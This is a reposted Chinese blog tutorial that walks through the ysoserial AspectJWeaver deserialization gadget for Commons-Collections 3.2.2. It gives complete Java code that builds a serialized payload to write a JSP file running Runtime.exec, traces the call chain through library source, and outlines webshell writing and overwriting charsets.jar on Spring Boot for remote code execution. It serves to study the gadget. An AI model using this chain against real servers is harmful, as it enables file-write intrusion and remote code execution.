主頁 > 企業開發 > AspectJWeaver檔案寫入gadget詳解和兩種應用場景舉例

AspectJWeaver檔案寫入gadget詳解和兩種應用場景舉例

2021-09-18 09:23:24 企業開發

目錄
  • 0 前言
  • 1 環境
  • 2 gadget決議
    • 2.1 高版本Commons-Collections的防御措施
    • 2.2 獲取AspectJWeaver的呼叫鏈
    • 2.3 gadget詳解
  • 3 兩種應用場景
    • 3.1 直接寫入jsp
    • 3.2 SpringBoot采用jar包部署的情況
  • 參考

0 前言

ysoserial反序列化系列學習記錄之一,最近看到利用AspectJWeaver這個gadget實作webshell寫入的滲透記錄帖子,而這個gadget用到的Commons-Collections版本為3.2.2,高版本的CC更具實用性,除了詳細決議gadget之外,還考慮了兩種實際攻擊場景的應用,

1 環境

jdk1.8u40

Commons-Collections:3.2.2

aspectjweaver:1.9.2

aspectjweaver這個包是Spring AOP所需要的依賴,用于實作AOP做切入點運算式、aop相關注解

pom.xml依賴如下:

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>

實驗代碼如下:


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class aspectjweaver {
    /*
    commons-collections:3.2.2
    aspectjweaver:1.9.2   spring AOP做切入點運算式、aop相關注解時需要
     */
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        String fileName = "test.jsp";
        String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
        byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

        // 創建StoreableCachingMap物件
        Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        Object map = constructor.newInstance(".", 12);

        // 把保存了檔案內容的物件exp放到ConstantTransformer中,后面呼叫ConstantTransformer#transform(xx)時,回傳exp物件
        ConstantTransformer constantTransformer = new ConstantTransformer(exp);

        // 用LazyMap和TiedMapEntry包裝Transformer類,以便于將觸發點擴展到hashCode、toString、equals等方法
        Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

        // 反序列化漏洞的啟動點: HashSet
        HashSet hashSet = new HashSet(1);
        // 隨便設定一個值,后面反射修改為tiedMapEntry,直接add(tiedMapEntry)會在序列化時本地觸發payload
        hashSet.add("fff");

        // 獲取HashSet中的HashMap物件
        Field field;
        try {
            field = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e){
            field = HashSet.class.getDeclaredField("backingMap");  // jdk
        }
        field.setAccessible(true);
        HashMap innerMap = (HashMap) field.get(hashSet);

        // 獲取HashMap中的table物件
        Field field1;
        try{
            field1 = HashMap.class.getDeclaredField("table");
        }catch (NoSuchFieldException e){
            field1 = HashMap.class.getDeclaredField("elementData");
        }
        field1.setAccessible(true);
        Object[] array = (Object[]) field1.get(innerMap);

        // 從table物件中獲取索引0 或 1的物件,該物件為HashMap$Node類
        Object node = array[0];
        if(node==null){
            node = array[1];
        }

        // 從HashMap$Node類中獲取key這個field,并修改為tiedMapEntry
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        }catch (NoSuchFieldException e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedMapEntry);

        // 序列化和反序列化測驗
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
        objectInputStream.readObject();
    }
}

執行成功后會在運行路徑下寫個test.jsp,下面來看看這個gadget具體是怎么觸發的

2 gadget決議

2.1 高版本Commons-Collections的防御措施

在3.1或者4.0版本的Commons-Collections利用鏈中,最底層都要呼叫到InvokerTransformer類,高版本的修復方式就是在這個類的readObject和writeObject中加入安全警告,如下:

由于反序列化時,會自動呼叫類的readObject方法,所以當位元組碼傳遞到服務器短時,一運行InvokerTransformer#readObject方法就會觸發警告,停止反序列化,必須服務器端手動開啟允許反序列化的設定,

2.2 獲取AspectJWeaver的呼叫鏈

這個gadget最終要寫一個檔案,根據Windows的檔案名要求,我們寫入"test.?jsp"時會出問題,如此即可獲得呼叫鏈,獲得呼叫鏈如下:

如果研究過低版本下Commons-Collections的HashSet呼叫鏈,肯定就會非常熟悉readObject后面這一部分,首先HashSet#readObject方法會觸發map.put(e, PRESENT)

  • HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // 省略了不重要的部分

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        E e = (E) s.readObject();
        map.put(e, PRESENT);  // 觸發點
    }
}

此時有個很關鍵的問題在于這個物件e到底是啥?回到我們的代碼利用反射修改值的部分

// 用LazyMap和TiedMapEntry包裝Transformer類,以便于將觸發點擴展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

// 反序列化漏洞的啟動點: HashSet
HashSet hashSet = new HashSet(1);
// 隨便設定一個值,后面反射修改為tiedMapEntry,直接add(tiedMapEntry)會在序列化時本地觸發payload
hashSet.add("fff");

// 獲取HashSet中的HashMap物件
Field field;
try {
    field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
    field = HashSet.class.getDeclaredField("backingMap");  // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);

// 獲取HashMap中的table物件
Field field1;
try{
    field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
    field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);

// 從table物件中獲取索引0 或 1的物件,該物件為HashMap$Node類
Object node = array[0];
if(node==null){
    node = array[1];
}

// 從HashMap$Node類中獲取key這個field,并修改為tiedMapEntry
Field keyField = null;
try {
    keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry后面再詳細決議,后面部分的代碼則是將"fff"替換成tiedMapEntry物件,這時需要從原始碼中看看HashSet如何存盤值的:

  • HashSet中的所有物件都保存在內部HashMap的key中,以保證唯一性

  • HashMap的每個key->value鍵值對保存在一個命名為table的Node類陣列中,每次呼叫HashMap#get方法時,實際時從這個陣列中獲取值

  • 跟進看看HashMap$Node類

到這里也就很清楚了,只需要通過反射獲取HashSet內部的HashMap物件,在修改HashMap$Node類中的key屬性為tiedMapEntry即可,回看一下代碼應該很容易理解,

2.3 gadget詳解

前面已經說到,HashSet#readObject方法會呼叫HashMap#put方法,

  • HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
    private static final Object PRESENT = new Object();
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // 省略了不重要的部分

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
            map.put(e, PRESENT);  // 觸發點,PRESENT=new Object(); 源代碼中可見,就不截圖了
        }
    }
}

由于HashSet只有一個值,所以相當于執行了HashMap.put(tiedMapEntry, new Object()),跟著這個基礎,繼續往下看

  • HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

此時key=tiedMapEntry,value=https://www.cnblogs.com/bitterz/archive/2021/09/17/object (將new Object()簡寫為object,這個值不影響啥),明顯會先執行HashMap#hash(tiedMapEntry),跟進一下

  • HashMap#hash(tiedMapEntry)
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此時key=tiedMapEntry,代碼中明顯會先呼叫key.hashCode()方法,也就是執行了tiedMapEntry.hashCode(),此時繼續跟進

  • TiedMapEntry#hashCode()
public int hashCode() {
    Object value = https://www.cnblogs.com/bitterz/archive/2021/09/17/getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

這里會先呼叫TiedMapEntry#getValue()方法,需要跟進一下

  • TiedMapEntry#getValue()

此時map和key分別是啥呢?這就要回看一下我們的代碼和TiedMapEntry的構造方法了!

  • TiedMapEntry的構造方法
public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
  • payload中的相應代碼
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是說,上面的圖片中,map=lazyMap,key=filename,也就是執行了lazyMap.get(filename),因此需要跟進LazyMap#get(filename)方法,另外我們使用了LazyMap.decorate()來創建lazyMap物件,所以也要跟進這個方法看看

  • LazyMap.decorate(Map, Transformer)和對應的構造方法
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
// 構造方法
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}
  • LazyMap#get(filename)
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = https://www.cnblogs.com/bitterz/archive/2021/09/17/factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

此時回看我們的代碼關于lazyMap的部分

String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

// 創建StoreableCachingMap物件
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12);

// 把保存了檔案內容的物件exp放到ConstantTransformer中,后面呼叫ConstantTransformer#transform(xx)時,回傳exp物件
ConstantTransformer constantTransformer = new ConstantTransformer(exp);

// 用LazyMap和TiedMapEntry包裝Transformer類,以便于將觸發點擴展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是說,lazyMap.map=StoreableCachingMap,lazyMap.factory=ConstantTransformer,將這些資訊帶入到LazyMap.get(filename)方法,

    1. 由于map.containsKey(filename)=false,所以進入if代碼塊,
    1. 此時呼叫lazyMap.factory.transform(filename),也就是ConstantTransformer.transform(filename),跟進一下該方法
// 構造方法,使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
// transform方法,回傳iConstant,也就是exp
public Object transform(Object input) {
    return iConstant;
}

執行完后,回到LazyMap.get(filename)中,此時value=https://www.cnblogs.com/bitterz/archive/2021/09/17/exp,執行map.put(filename, exp),實際上執行StoreableCachingMap.put(filename, exp),繼續跟進

  • StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
    try {
        String path = null;
        byte[] valueBytes = (byte[]) value;

        if (Arrays.equals(valueBytes, SAME_BYTES)) {  // SAME_BYTES = "IDEM".getBytes();
            path = SAME_BYTES_STRING;
        } else {
            path = writeToPath((String) key, valueBytes);
        }
        Object result = super.put(key, path);
        storeMap();
        return result;
    } catch (IOException e) {
        trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
        Dump.dumpWithException(e);
    }
    return null;
}

這里key=filename,value=https://www.cnblogs.com/bitterz/archive/2021/09/17/exp,帶入代碼中,更改變數名valueBytes=exp陣列,然后進入if判斷陳述句,顯然"IDEM"和我們的exp不相等,進入else代碼塊,跟進writeToPath((String) key, valueBytes)

  • StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
    String fullPath = folder + File.separator + key;
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(bytes);
    fos.flush();
    fos.close();
    return fullPath;
}

此時key=filename,bytes=惡意代碼byte陣列,代碼比較簡單,就是單純的寫檔案,因為沒有catch陳述句,所以2.2中獲取呼叫鏈時給filename="test.?jsp"會觸發報錯,從而給出呼叫鏈,

到這里整個gadget就決議完了,主要是避開了InvokerTransformer#readObject時的安全檢查,并利用lazyMap.get()方法去呼叫寫檔案的類,從而達到檔案寫入的能力,最后再結合ysoserial中給出的呼叫鏈回顧一下整個呼叫鏈

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

3 兩種應用場景

3.1 直接寫入jsp

如果目標Web應用可以寫入jsp,并且能夠決議,那直接寫jsp Webshell即可,比較直接,就不多說了

3.2 SpringBoot采用jar包部署的情況

現在很多應用都采用了SpringBoot打包成一個jar或者war包放到服務器上部署,就算我們能夠寫檔案,也不會被內嵌的中間件決議,這個時候應該怎么辦呢?

LandGrey大佬給出了解決辦法:Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

向服務器的jdk目錄下寫入jar包,由于jvm的類加載機制,并不會一次性把所有jdk中的jar包都進行加載,所以可以先寫入/jre/lib/charsets.jar進行覆寫,然后給request header中加入特殊頭部,此時由于給定了字符編碼,會讓jvm去加載charset.jar,從而觸發惡意代碼,惡意頭部可以如下:

Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具體細節請見大佬的博客和github倉庫,

參考

Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java


作者:bitterz 地址:https://www.cnblogs.com/bitterz/ 本文著作權歸作者和博客園所有,歡迎轉載,轉載請標明出處, 如果您覺得本篇博文對您有所識訓,請點擊右下角的 [推薦],謝謝!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/300925.html

標籤:其他

上一篇:資料上圖+地圖大屏 | 一張圖清晰展示全國中高風險地區分布

下一篇:Spirit帶你徹底了解事件捕獲和冒泡機制

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 使用Django Rest framework搭建Blog

    在前面的Blog例子中我們使用的是GraphQL, 雖然GraphQL的使用處于上升趨勢,但是Rest API還是使用的更廣泛一些. 所以還是決定回到傳統的rest api framework上來, Django rest framework的官網上給了一個很好用的QuickStart, 我參考Qu ......

    uj5u.com 2023-04-20 08:17:54 more
  • 記錄-new Date() 我忍你很久了!

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 大家平時在開發的時候有沒被new Date()折磨過?就是它的諸多怪異的設定讓你每每用的時候,都可能不小心踩坑。造成程式意外出錯,卻一下子找不到問題出處,那叫一個煩透了…… 下面,我就列舉它的“四宗罪”及應用思考 可惡的四宗罪 1. Sa ......

    uj5u.com 2023-04-20 08:17:47 more
  • 使用Vue.js實作文字跑馬燈效果

    實作文字跑馬燈效果,首先用到 substring()截取 和 setInterval計時器 clearInterval()清除計時器 效果如下: 實作代碼如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta ......

    uj5u.com 2023-04-20 08:12:31 more
  • JavaScript 運算子

    JavaScript 運算子/運算子 在 JavaScript 中,有一些運算子可以使代碼更簡潔、易讀和高效。以下是一些常見的運算子: 1、可選鏈運算子(optional chaining operator) ?.是可選鏈運算子(optional chaining operator)。?. 可選鏈操 ......

    uj5u.com 2023-04-20 08:02:25 more
  • CSS—相對單位rem

    一、概述 rem是一個相對長度單位,它的單位長度取決于根標簽html的字體尺寸。rem即root em的意思,中文翻譯為根em。瀏覽器的文本尺寸一般默認為16px,即默認情況下: 1rem = 16px rem布局原理:根據CSS媒體查詢功能,更改根標簽的字體尺寸,實作rem單位隨螢屏尺寸的變化,如 ......

    uj5u.com 2023-04-20 08:02:21 more
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 08:01:50 more
  • 如何在 vue3 中使用 jsx/tsx?

    我們都知道,通常情況下我們使用 vue 大多都是用的 SFC(Signle File Component)單檔案組件模式,即一個組件就是一個檔案,但其實 Vue 也是支持使用 JSX 來撰寫組件的。這里不討論 SFC 和 JSX 的好壞,這個仁者見仁智者見智。本篇文章旨在帶領大家快速了解和使用 Vu ......

    uj5u.com 2023-04-20 08:01:37 more
  • 【Vue2.x原始碼系列06】計算屬性computed原理

    本章目標:計算屬性是如何實作的?計算屬性快取原理以及洋蔥模型的應用?在初始化Vue實體時,我們會給每個計算屬性都創建一個對應watcher,我們稱之為計算屬性watcher ......

    uj5u.com 2023-04-20 08:01:31 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:01:10 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:00:32 more